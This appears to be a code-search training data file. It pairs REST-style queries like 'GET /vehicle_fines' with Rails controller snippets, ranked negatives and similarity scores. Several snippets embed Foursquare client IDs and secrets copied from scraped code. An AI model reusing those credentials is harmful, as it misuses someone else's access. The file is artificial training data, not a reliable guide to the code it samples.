"def destroy\n @diet = Diet.find(params[:id])\n @diet.destroy\n\n respond_to do |format|\n format.html { redirect_to(diets_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ptid = Ptid.find(params[:id])\n @ptid.destroy\n\n respond_to do |format|\n format.html { redirect_to(ptids_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @periode = Periode.find(params[:id])\n @periode.destroy\n\n respond_to do |format|\n format.html { redirect_to(periodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lore = Lore.find(params[:id])\n @lore.destroy\n\n respond_to do |format|\n format.html { redirect_to(lores_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n # @address = Address.find(params[:id])\n @address = Address.find_by_permalink!(params[:id])\n @address.destroy\n\n respond_to do |format|\n format.html { redirect_to(addresses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @correspondence_template = CorrespondenceTemplate.find(params[:id])\n @correspondence_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(correspondence_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(root_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @fridge_food = FridgeFood.find(params[:id])\n @fridge_food.destroy\n\n respond_to do |format|\n format.html { redirect_to(fridge_foods_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @partytype = Partytype.find(params[:id])\n @partytype.destroy\n\n respond_to do |format|\n format.html { redirect_to(partytypes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lr70 = Lr70.find(params[:id])\n @lr70.destroy\n\n respond_to do |format|\n format.html { redirect_to(lr70s_url) }\n format.xml { head :ok }\n end\n end"
] |
[
"0.65213794",
"0.6422062",
"0.63901067",
"0.6331035",
"0.624117",
"0.62286836",
"0.6227409",
"0.6223926",
"0.6162956",
"0.6149925",
"0.61464643",
"0.6143414",
"0.61240757",
"0.61084324",
"0.61003464",
"0.6093439",
"0.6068151",
"0.6063949",
"0.60539997",
"0.6052828",
"0.6051427",
"0.60458374",
"0.6038638",
"0.6038092",
"0.6028385",
"0.601749",
"0.59992933",
"0.59937537",
"0.5993696",
"0.5990508",
"0.598581",
"0.59834933",
"0.5982533",
"0.5977249",
"0.5974881",
"0.5970527",
"0.5968348",
"0.59655255",
"0.59540063",
"0.5953595",
"0.59465754",
"0.5945523",
"0.5938582",
"0.59378856",
"0.59372026",
"0.59328276",
"0.5916519",
"0.59150726",
"0.5911654",
"0.5909911",
"0.59095305",
"0.5906858",
"0.590586",
"0.5905285",
"0.59042025",
"0.59039146",
"0.5903465",
"0.59023035",
"0.5902121",
"0.5900282",
"0.58909965",
"0.5885926",
"0.588386",
"0.5883578",
"0.5882056",
"0.5875768",
"0.5874163",
"0.5872282",
"0.5871376",
"0.586812",
"0.58674264",
"0.5865715",
"0.58640194",
"0.58600956",
"0.5852297",
"0.5850444",
"0.5849825",
"0.5847338",
"0.5845987",
"0.58459496",
"0.584396",
"0.5843219",
"0.5840112",
"0.5839985",
"0.5836933",
"0.58342814",
"0.5833068",
"0.58323723",
"0.58309925",
"0.58297086",
"0.5829571",
"0.5826538",
"0.5824558",
"0.582306",
"0.58230096",
"0.58209634",
"0.5820145",
"0.58198875",
"0.58187866"
] |
0.7397508
|
0
|
GET /vehicle_fines GET /vehicle_fines.json
|
def index
@vehicle_fines = VehicleFine.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ajax_fines\n @fines = params['fines']&.values.to_a\n render json: { record: render_to_string('_fines', layout: false), locals: { fines: @fines } }\n end",
"def index\n @fines = Fine.all\n end",
"def venue\n \t@events = Event.where(:venue => params[:venue])\n\n \trespond_to do |format|\n \t\tif @events.size>0\n \t\t\tformat.html { render json: {:message => \"Here are the details of #{@events.size} event(s) happening in #{params[:venue]}.\", :events => @events}}\n \t\telsif @events.size<=0\n \t\t\tformat.html { render json: {:message => \"Cannot find event - that venue does not exist. Please enter a valid venue.\"}}\n \t\tend\n \tend\n end",
"def set_vehicle_fine\n @vehicle_fine = VehicleFine.find(params[:id])\n end",
"def food_trucks_within(bounding_box)\n @bounding_box = bounding_box\n\n response = self.class.get(\n ENV['DATA_SF_BASE_PATH'],\n query: query\n )\n return response if response.success?\n raise CustomErrors::Api::ThirdPartyApiError.new(message: 'An error occured with the DataSf API, please contact the service administrator or see the logs if you are the administrator.', code: 500, data: response)\n end",
"def show\n begin\n @vehicle = Vehicle.find_by_id(params[:id])\n @vin = @vehicle.vin.scan(/.{1,9}/) if @vehicle.vin\n @issues = @vehicle.issues.order(id: :desc)\n @closed_issues = (@issues - @issues.open)\n rescue \n render_404\n end\n end",
"def index\n @vehicle_fine_types = VehicleFineType.all\n\t @vehicle_fine_type = VehicleFineType.new\n end",
"def index\n @load_vehicle = LoadVehicle.all\n respond_to do |format|\n format.json { render json: @load_vehicle }\n end\n end",
"def get_economy_with_http_info(vin, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VINDecoderApi.get_economy ...'\n end\n # verify the required parameter 'vin' is set\n if @api_client.config.client_side_validation && vin.nil?\n fail ArgumentError, \"Missing the required parameter 'vin' when calling VINDecoderApi.get_economy\"\n end\n # resource path\n local_var_path = '/economy'\n\n # query parameters\n query_params = {}\n query_params[:'vin'] = vin\n query_params[:'api_key'] = opts[:'api_key'] if !opts[:'api_key'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Economy')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VINDecoderApi#get_economy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def vehicle_fine_params\n params.require(:vehicle_fine).permit(:vehicle_id, :fine_id)\n end",
"def business_summary(lat, lon, bname)\n ret = {\n hours: nil,\n formatted_hours: nil\n }\n return ret if @client.nil?\n\n radius = 100 # improve result to get the correct one\n latlng = lat.to_s + ',' + lon.to_s\n response = @client.search_venues(ll: latlng, radius: radius, query: bname)\n if response.venues.length == 0\n response = @client.search_venues(ll: latlng, query: bname)\n end\n\n if response.venues.length > 0\n hours = @client.venue_hours(response.venues[0].id)\n sum = @client.venue(response.venues[0].id)\n\n ret = {\n hours: hours.hours,\n formatted_hours: sum.hours\n } unless hours.nil? || sum.nil?\n end\n ret\n end",
"def show\n render json: @vehicle\n end",
"def index\n @vehicles = Vehicle.all\n if @vehicles.present?\n \trender json: { vehicles: @vehicles, status: :ok }\n else\n render json: { :status => \"204\", :message => \"There is not vehicles\" }, status: :no_content\n end\n end",
"def venue(id)\n options = { :venue_id => id }\n get('/venue_info', options)\n end",
"def index\n if params[:vehicle]\n @vehicles = Vehicle.find_by_ticker(params[:vehicle])\n else\n @vehicles = Vehicle.all\n end\n end",
"def index\n @vehicles = Vehicle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicles }\n end\n end",
"def get_efficiency_with_http_info(vin, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VINDecoderApi.get_efficiency ...'\n end\n # verify the required parameter 'vin' is set\n if @api_client.config.client_side_validation && vin.nil?\n fail ArgumentError, \"Missing the required parameter 'vin' when calling VINDecoderApi.get_efficiency\"\n end\n # resource path\n local_var_path = '/fuel_efficiency'\n\n # query parameters\n query_params = {}\n query_params[:'vin'] = vin\n query_params[:'api_key'] = opts[:'api_key'] if !opts[:'api_key'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'FuelEfficiency')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VINDecoderApi#get_efficiency\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @vehicle_infos = VehicleInfo.all\n end",
"def show\n render json: @used_bike, serializer: Web::V1::UsedBikeSerializer\n end",
"def vehicle\n fetch('final_space.vehicles')\n end",
"def index\n if params[:vehicle_id]\n @vehicle = Vehicle.find(params[:vehicle_id])\n @vehicle_features = @vehicle.features\n end\n @feature = Feature.new\n @features = Feature.all\n @all_features = Feature.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @features }\n end\n end",
"def index\n results = []\n if params[:bbox]\n results = VAFacility.query(bbox: params[:bbox], type: params[:type], services: params[:services])\n end\n resource = Common::Collection.new(::VAFacility, data: results)\n resource = resource.paginate(pagination_params)\n render json: resource.data,\n serializer: CollectionSerializer,\n each_serializer: VAFacilitySerializer,\n meta: resource.metadata\n end",
"def show\n #@restroom = Restroom.find(params[:id])\n @venue = client.venue(:query => params[:venue_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @restroom }\n end\n end",
"def arrivals_and_departures_for_stop(stop)\n @client = OneBusAway::Client.new(\n api_method: ['arrivals-and-departures-for-stop', \"1_#{stop}\"]\n )\n call_api\n end",
"def index\n @venues = Venue.all :conditions=>{:display=>true}, :origin=>[params[:lat].to_f, params[:lng].to_f], :within=>30\n\n respond_to do |format|\n #format.html # index.html.erb\n format.json { render :json => @venues.to_json(:except=>[:display, :user_id, :modified_user_id]), :callback=>params[:callback] }\n end\n end",
"def show\n @vehicle = Vehicle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vehicle }\n end\n end",
"def index # returns all bikes within a certain radius\n ## TODO: use coordinates later, when more campuses and bikes.\n # # defaults radius to half mile, and coordinate to requesting ip address\n # radius = params[:radius] ? params[:radius] : 0.5\n # coordinates = params[:coordinates] ? params[:coordinates] : request.location\n # puts coordinates\n # @bikes = Coordinate.near(coordinates, radius).joins(:bikes)\n @bikes = Bike.available\n render json: @bikes\n end",
"def index\n @flight= Flight.find(params[:flight_id])\n @businesses = Business.all\n end",
"def index\n @businesses = Business.all.offset(offset).limit(limit)\n render json: @businesses\n end",
"def show\n\n @venue = Venue.find(params[:id])\n render :json => @venue, \n :methods => [:average_rating,:user_count],\n :include => [:venue_photos,:parties]\n end",
"def show\n render json: @bike #serializer: Web::V1::BikeSerializer\n end",
"def venues(options = {})\n self.class.require_latitude_and_longitude(options)\n\n response = self.class.get(\"/venues.json\", :query => options, :basic_auth => @auth)[\"venues\"]\n response && response.flatten\n end",
"def show\n add_breadcrumb \"all\", nil, \"glyphicon-screenshot\"\n\n @vehicle = Vehicle.find(params[:id])\n #if current_user.vehicles.contain?(@vehicle)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vehicle }\n end\n #end\n end",
"def list\n user = current_user\n if !params[:distance].nil? and params[:distance].to_i > 0\n distance = params[:distance].to_i\n else\n distance = 10000\n end\n if !params[:latitude].blank? \n latitude = params[:latitude].to_f\n else\n latitude = user.latitude\n end\n if !params[:longitude].blank? \n longitude = params[:longitude].to_f\n else\n longitude = user.longitude\n end\n\n if !params[:latitude].blank? and !params[:longitude].blank? \n user.latitude = latitude\n user.longitude = longitude\n user.save\n end\n\n if !params[:without_featured_venues].blank? \n without_featured_venues = params[:without_featured_venues]=='1'\n else\n without_featured_venues = false\n end\n\n # venues = Venue.all\n venues = Venue.near_venues(latitude, longitude, distance, without_featured_venues)\n\n page_number = nil\n venues_per_page = nil\n page_number = params[:page].to_i + 1 if !params[:page].blank?\n venues_per_page = params[:per_page].to_i if !params[:per_page].blank?\n\n if !page_number.nil? and !venues_per_page.nil? and venues_per_page > 0 and page_number >= 0\n pagination = Hash.new\n pagination['page'] = page_number - 1\n pagination['per_page'] = venues_per_page\n pagination['total_count'] = venues.length\n venues = Kaminari.paginate_array(venues).page(page_number).per(venues_per_page) if !venues.nil?\n end\n\n data = Venue.venues_object(current_user, venues)\n \n render json: success((JSON.parse data), 'data', pagination)\n end",
"def full(vin)\n find(vin).to_json\n end",
"def index\n \tif\n params[:search].present?\n client = Foursquare2::Client.new(:client_id => '45M1USHSGHPODOQWPSYJGAW50GBCMIHCKVQF410CKBCSO024', :client_secret => '4GO20RGY0BTI3VAQSS04P35AJ4A0DIZWF2JWLRPBFP0SDNQK', :api_version => '20140201')\n \n #results = client.search_venues(:ll => '40.0462925,-82.91250359', :query => params[:search])\n results = client.search_venues(:near => params[:location], :query => params[:search])\n\t\n @venues = results.venues\n\n @venues.each do |venue|\n Venue.where({\n name: venue.name,\n address: venue.location.address,\n venue_id: venue.id,\n city: venue.location.city,\n state: venue.location.state,\n lat: venue.location.lat,\n long: venue.location.lng,\n }).first_or_create\n end\n\n else\n\tclient = Foursquare2::Client.new(:client_id => '45M1USHSGHPODOQWPSYJGAW50GBCMIHCKVQF410CKBCSO024', :client_secret => '4GO20RGY0BTI3VAQSS04P35AJ4A0DIZWF2JWLRPBFP0SDNQK',:api_version => '20140201')\n \n results = client.search_venues(:ll => '40.0462925,-82.91250359', :query => params[:search])\n @venues = results.venues\n\n\nend\n\n\n #else\n # @restrooms = Restroom.all\n # end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @restrooms }\n end\n end",
"def show\n #@vehicle = Vehicle.find(:first, :conditions => [ \"state_code = ? AND state_number = ? AND plate_number = ? AND plate_letter = ?\", params[:state_code], params[:state_number], params[:plate_number], params[:plate_letter])\n @vehicle = Vehicle.find(params[:id])\n @yesCount = VehicleInspection.where(:vehicle_id => params[:id], :is_current => true ).count\n @noCount = VehicleInspection.where(:vehicle_id => params[:id], :is_current => false ).count\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vehicle }\n end\n end",
"def index\n add_breadcrumb \"all\", nil, \"glyphicon-list\"\n\n #@vehicles = Vehicle.all\n @vehicles = current_user.account.vehicles || []\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicles }\n end\n end",
"def show\n\n\n # respond_to do |format|\n # format.html # show.html.erb\n # format.json { render json: @venue }\n # end\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render :json => @vehicle_realtime.to_json(:include => [:vehicle_trip, :vehicle_route, :vehicle_stop]) }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venue }\n end\n end",
"def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @venues }\n end\n end",
"def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @venues }\n end\n end",
"def index\n @vendes = Vende.all\n end",
"def index\n @vehicles = Vehicle.all\n end",
"def venue_show\n client = Foursquare2::Client.new(:client_id => '45M1USHSGHPODOQWPSYJGAW50GBCMIHCKVQF410CKBCSO024', :client_secret => '4GO20RGY0BTI3VAQSS04P35AJ4A0DIZWF2JWLRPBFP0SDNQK',:api_version => '20140201')\n #@restroom = Restroom.find(params[:id])\n @venue = Venue.find_by_venue_id(params[:venue_id])\n @review = Review.new\n #@pics = client.venue_photos(params[:venue_id], options = {:group => 'venue'})\n @review.venue_id = @venue.id\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @restroom }\n end\n end",
"def index\n @vehicle_realtimes = VehicleRealtime.all\n \n respond_to do |format|\n format.html\n format.json { render :json => @vehicle_realtimes.to_json(:include => [:vehicle_trip, :vehicle_route, :vehicle_stop]) }\n end\n end",
"def index\n @user_businesses = Business.where({user_id: current_user.id})\n render json: JSONAPI::Serializer.serialize(@user_businesses, is_collection: true)\n end",
"def get_non_bajaj_vehicles\n @bikes = Bike.where(non_bajaj: true).order(\"display_order\")\n \n render json: @bikes\n end",
"def events(venue)\n get(:standard, {:method => \"venue.getEvents\", :venue => venue})\n end",
"def show\n @venue = Venue.find(params[:id])\n\n render json: @venue\n end",
"def venue(vid, options = {})\n options.merge!({ :query => { :key => @api_key } })\n self.class.get(\"/venues/#{vid}\", options)\n end",
"def index\n @buisnesses = Buisness.all\n\n render json: @buisnesses \n end",
"def show\n\n\t\t@ride ||= Ride.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: { ride: @ride.as_json }, :methods => :nearby }\n end\n end",
"def index\n @search = FuelBalance.order(:depot_fuel_id).search(params[:q])\n @fuel_balances = @search.result\n end",
"def index\n @vehicle_informations = VehicleInformation.all\n end",
"def index\n @used_bikes = UsedBike.all\n\n render json: @used_bikes, each_serializer: Web::V1::UsedBikeSerializer\n end",
"def create\n @vehicle_fine = VehicleFine.new(vehicle_fine_params)\n respond_to do |format|\n if @vehicle_fine.save\n format.html { redirect_to @vehicle_fine, notice: 'Vehicle fine was successfully created.' }\n format.json { render :show, status: :created, location: @vehicle_fine }\n else\n format.html { render :new }\n format.json { render json: @vehicle_fine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n event_id = current_event.id\n event_id = params[:event_id] if params.has_key?(:event_id)\n @vehicle_classes = VehicleClass.all(:conditions => \"event_id = #{event_id}\", :order => \"max_speed ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicle_classes }\n end\n end",
"def show\r\n @venue = Venue.fetch(params[:id])\r\n render json: @venue\r\n end",
"def get_brandings\n request :get, \"/v3/brandings.json\"\n end",
"def vehicles; end",
"def venue(id)\n get(\"venues/#{id}\").venue\n end",
"def index\n @stolen_vehicles = StolenVehicle.all\n end",
"def vehicles\n @vehicles ||= begin\n _, json = get_json(\"/vehicles\")\n json.map { |data| Vehicle.new(self, data) }\n end\n end",
"def index\n @clients = Client.all\n @invoices = Invoice.search(params[:search])\n @Invoices = Invoice.order(:name)\n @invoices = @invoices.page(params[:page] || 1)\n @invoicelines = Invoiceline.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @clients.map(&:name) }\n @invoicelines = Invoiceline.all\n\n\n end\nend",
"def new\n @bus_route = BusRoute.new\n @break_points=BreakPoint.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bus_route }\n end\n end",
"def get\n appid = ENV['TRIMET_APP_ID']\n response = Unirest.get( \"http://developer.trimet.org/ws/v2/vehicles?appid=#{appid}\" )\n response.body\nend",
"def index\n @vehicle_costs = VehicleCost.all\n end",
"def index\n get_contracts\n end",
"def flights\n result = Search.search_flights(params)\n if result\n # The search gave us something so we can return it\n render json: result\n else\n # Something went wrong, return a 500 error with no body\n render status: 500, json: nil\n end\n end",
"def call\n vehicles = @buyer.buyer_interests.flat_map do |interest|\n coincident_vehicles(interest)\n end\n \n vehicles\n end",
"def new\n @vehicle = Vehicle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vehicle }\n end\n end",
"def show\n\n @Cliente = Client.where(bill_id: params[:id])\n @Cliente.each do |mitad|\n mitad.ISV = mitad.ISV.round(2)\n mitad.Total = mitad.Total.round(2)\n end\n# @Cliente = Client.find_by_sql(['SELECT * FROM clients WHERE bill_id = ?',:id])\n render json: @Cliente\n end",
"def vips\n request :get, '/vips'\n end",
"def index\n @vehicle_types = VehicleType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicle_types }\n end\n end",
"def departures\n # Project.hit 35\n @departing = true\n @from = params[:from]\n @to = params[:to]\n \n unless @from.nil? and @to.nil?\n @planes = get_flights(@from, @to, @departing)\n @airports = did_you_mean @from, @to if @planes == []\n end\n \n respond_to do |format|\n format.html\n format.json { render json: @planes, callback: params[:callback] }\n format.xml { render xml: @planes }\n end\n end",
"def new\n #@getinvoicedatum = Getinvoicedatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @getinvoicedatum }\n end\n end",
"def url\n '/api/invoices'\n end",
"def index\n @curriculum_vitaes = findable_curriculum_vitaes.all\n respond_to do |format|\n format.html {}\n format.json { render json: @curriculum_vitaes }\n end\n end",
"def index\n response = RestClient.get 'http://api.bitvalor.com/v1/order_book.json'\n data = JSON.parse(response.body)[\"bids\"]\n @fox = data.select {|element| element[0] == \"FOX\"}\n @b2u = data.select {|element| element[0] == \"B2U\"}\n @mbt = data.select {|element| element[0] == \"MBT\"}\n end",
"def show\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venue }\n end\n end",
"def index\n @videoconferencias = Videoconferencium.all\n render json: @videoconferencias\n end",
"def show\n @revenue = Revenue.find(params[:id])\n\n render json: @revenue\n end",
"def vehicles_all\n @work_order_vehicles = WorkOrderVehicle.by_id\n render json: serialized_work_order_vehicles(@work_order_vehicles)\n end",
"def show\n render \"api/v1/bounties/show\"\n end",
"def index\n @vegetals = Vegetal.all\n end",
"def index\n @contracts = Contract.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contracts }\n end\n end",
"def search(venue, options={})\n get(:standard, {:method => \"venue.search\", :venue => venue}.merge(options))\n end",
"def show\n @client = Client.find(params[:id])\n @contracts = Contract.where(:client_id => @client.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @client }\n end\n end",
"def index\n @cabines = Cabine.all\n render json: @cabines\n end",
"def new\n @bands = Band.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @venue }\n end\n end",
"def search\n @response = HTTParty.get(\"https://travelbriefing.org/#{params[:searchterm]}?format=json\",\n :headers => { 'Content-Type' => 'application/json', 'Accept' => 'application/json'})\n\n @response = JSON.parse(@response.parsed_response)\n @currency = @response[\"currency\"][\"rate\"].to_f/@response[\"currency\"][\"compare\"][5][\"rate\"].to_f\n\n gon.currency = @currency\n end",
"def show\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @venue }\n end\n end",
"def show\n @finance_inflow = FinanceInflow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @finance_inflow }\n end\n end",
"def index\n @nines = Nine.all\n end",
"def basic(vin)\n response = find(vin)\n data = {\n year: response['years'][0]['year'],\n make: response['make']['name'],\n model: response['model']['name'],\n }\n\n data.to_json\n end",
"def show\n @basin = Basin.find(params[:id])\n\n @client = YahooWeather::Client.new \n @response = @client.fetch_by_location('Massingir, Gaza, Mz','c')\n @reponse2 = @client.fetch_by_location('Louis Trichardt, Limpopo, South Africa','c')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @basin }\n\n end\n end",
"def new\n @venue = Venue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @venue }\n end\n end",
"def new\n @venue = Venue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @venue }\n end\n end"
] |
[
"0.70188123",
"0.62482",
"0.5703264",
"0.5691642",
"0.56804585",
"0.5654685",
"0.5621919",
"0.5603099",
"0.5540101",
"0.55395526",
"0.54882604",
"0.5485835",
"0.546986",
"0.54606533",
"0.5452128",
"0.54468244",
"0.54337066",
"0.5429024",
"0.5425933",
"0.54215693",
"0.5420562",
"0.5395498",
"0.53671485",
"0.5364674",
"0.5360865",
"0.5351856",
"0.5348106",
"0.5340038",
"0.53315634",
"0.5311341",
"0.52956945",
"0.529199",
"0.5285833",
"0.52607256",
"0.52599406",
"0.5253334",
"0.52526385",
"0.5239044",
"0.52334696",
"0.5227581",
"0.5227025",
"0.5224859",
"0.5224859",
"0.52164394",
"0.52130437",
"0.5208412",
"0.52002317",
"0.5195955",
"0.5192575",
"0.51920074",
"0.5170845",
"0.51697606",
"0.5163744",
"0.5160207",
"0.5156566",
"0.51552427",
"0.51532316",
"0.5144828",
"0.51433265",
"0.51428235",
"0.5141095",
"0.513849",
"0.51330125",
"0.5126795",
"0.5123337",
"0.5121451",
"0.5117787",
"0.5106089",
"0.50982547",
"0.50911486",
"0.5070797",
"0.50648886",
"0.50624144",
"0.5057731",
"0.50561816",
"0.5053635",
"0.5050853",
"0.50480235",
"0.50477654",
"0.5031102",
"0.50309634",
"0.5025841",
"0.50172895",
"0.5002858",
"0.50028574",
"0.5000997",
"0.5000217",
"0.500009",
"0.49985743",
"0.4995683",
"0.4988542",
"0.49846524",
"0.49805233",
"0.49803755",
"0.49802646",
"0.4979668",
"0.49795052",
"0.49709672",
"0.49637687",
"0.49637687"
] |
0.7248065
|
0
|
GET /vehicle_fines/1 GET /vehicle_fines/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @vehicle_fines = VehicleFine.all\n end",
"def ajax_fines\n @fines = params['fines']&.values.to_a\n render json: { record: render_to_string('_fines', layout: false), locals: { fines: @fines } }\n end",
"def index\n @fines = Fine.all\n end",
"def show\n begin\n @vehicle = Vehicle.find_by_id(params[:id])\n @vin = @vehicle.vin.scan(/.{1,9}/) if @vehicle.vin\n @issues = @vehicle.issues.order(id: :desc)\n @closed_issues = (@issues - @issues.open)\n rescue \n render_404\n end\n end",
"def index\n @load_vehicle = LoadVehicle.all\n respond_to do |format|\n format.json { render json: @load_vehicle }\n end\n end",
"def set_vehicle_fine\n @vehicle_fine = VehicleFine.find(params[:id])\n end",
"def show\n @vehicle = Vehicle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vehicle }\n end\n end",
"def index\n if params[:vehicle_id]\n @vehicle = Vehicle.find(params[:vehicle_id])\n @vehicle_features = @vehicle.features\n end\n @feature = Feature.new\n @features = Feature.all\n @all_features = Feature.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @features }\n end\n end",
"def show\n render json: @vehicle\n end",
"def index\n @vehicles = Vehicle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicles }\n end\n end",
"def index\n @vehicle_fine_types = VehicleFineType.all\n\t @vehicle_fine_type = VehicleFineType.new\n end",
"def index\n @vehicles = Vehicle.all\n if @vehicles.present?\n \trender json: { vehicles: @vehicles, status: :ok }\n else\n render json: { :status => \"204\", :message => \"There is not vehicles\" }, status: :no_content\n end\n end",
"def index\n if params[:vehicle]\n @vehicles = Vehicle.find_by_ticker(params[:vehicle])\n else\n @vehicles = Vehicle.all\n end\n end",
"def index\n @vehicle_infos = VehicleInfo.all\n end",
"def show\n #@restroom = Restroom.find(params[:id])\n @venue = client.venue(:query => params[:venue_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @restroom }\n end\n end",
"def show\n vehicle=Vehicle.where(uid: params[:id]).first\n render :json => {\"vehicle\"=>vehicle }\n end",
"def venue\n \t@events = Event.where(:venue => params[:venue])\n\n \trespond_to do |format|\n \t\tif @events.size>0\n \t\t\tformat.html { render json: {:message => \"Here are the details of #{@events.size} event(s) happening in #{params[:venue]}.\", :events => @events}}\n \t\telsif @events.size<=0\n \t\t\tformat.html { render json: {:message => \"Cannot find event - that venue does not exist. Please enter a valid venue.\"}}\n \t\tend\n \tend\n end",
"def vehicle_fine_params\n params.require(:vehicle_fine).permit(:vehicle_id, :fine_id)\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render :json => @vehicle_realtime.to_json(:include => [:vehicle_trip, :vehicle_route, :vehicle_stop]) }\n end\n end",
"def new\n @vehicle = Vehicle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vehicle }\n end\n end",
"def show\n #@vehicle = Vehicle.find(:first, :conditions => [ \"state_code = ? AND state_number = ? AND plate_number = ? AND plate_letter = ?\", params[:state_code], params[:state_number], params[:plate_number], params[:plate_letter])\n @vehicle = Vehicle.find(params[:id])\n @yesCount = VehicleInspection.where(:vehicle_id => params[:id], :is_current => true ).count\n @noCount = VehicleInspection.where(:vehicle_id => params[:id], :is_current => false ).count\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vehicle }\n end\n end",
"def show\n add_breadcrumb \"all\", nil, \"glyphicon-screenshot\"\n\n @vehicle = Vehicle.find(params[:id])\n #if current_user.vehicles.contain?(@vehicle)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vehicle }\n end\n #end\n end",
"def index\n @flight= Flight.find(params[:flight_id])\n @businesses = Business.all\n end",
"def get_efficiency_with_http_info(vin, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VINDecoderApi.get_efficiency ...'\n end\n # verify the required parameter 'vin' is set\n if @api_client.config.client_side_validation && vin.nil?\n fail ArgumentError, \"Missing the required parameter 'vin' when calling VINDecoderApi.get_efficiency\"\n end\n # resource path\n local_var_path = '/fuel_efficiency'\n\n # query parameters\n query_params = {}\n query_params[:'vin'] = vin\n query_params[:'api_key'] = opts[:'api_key'] if !opts[:'api_key'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'FuelEfficiency')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VINDecoderApi#get_efficiency\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
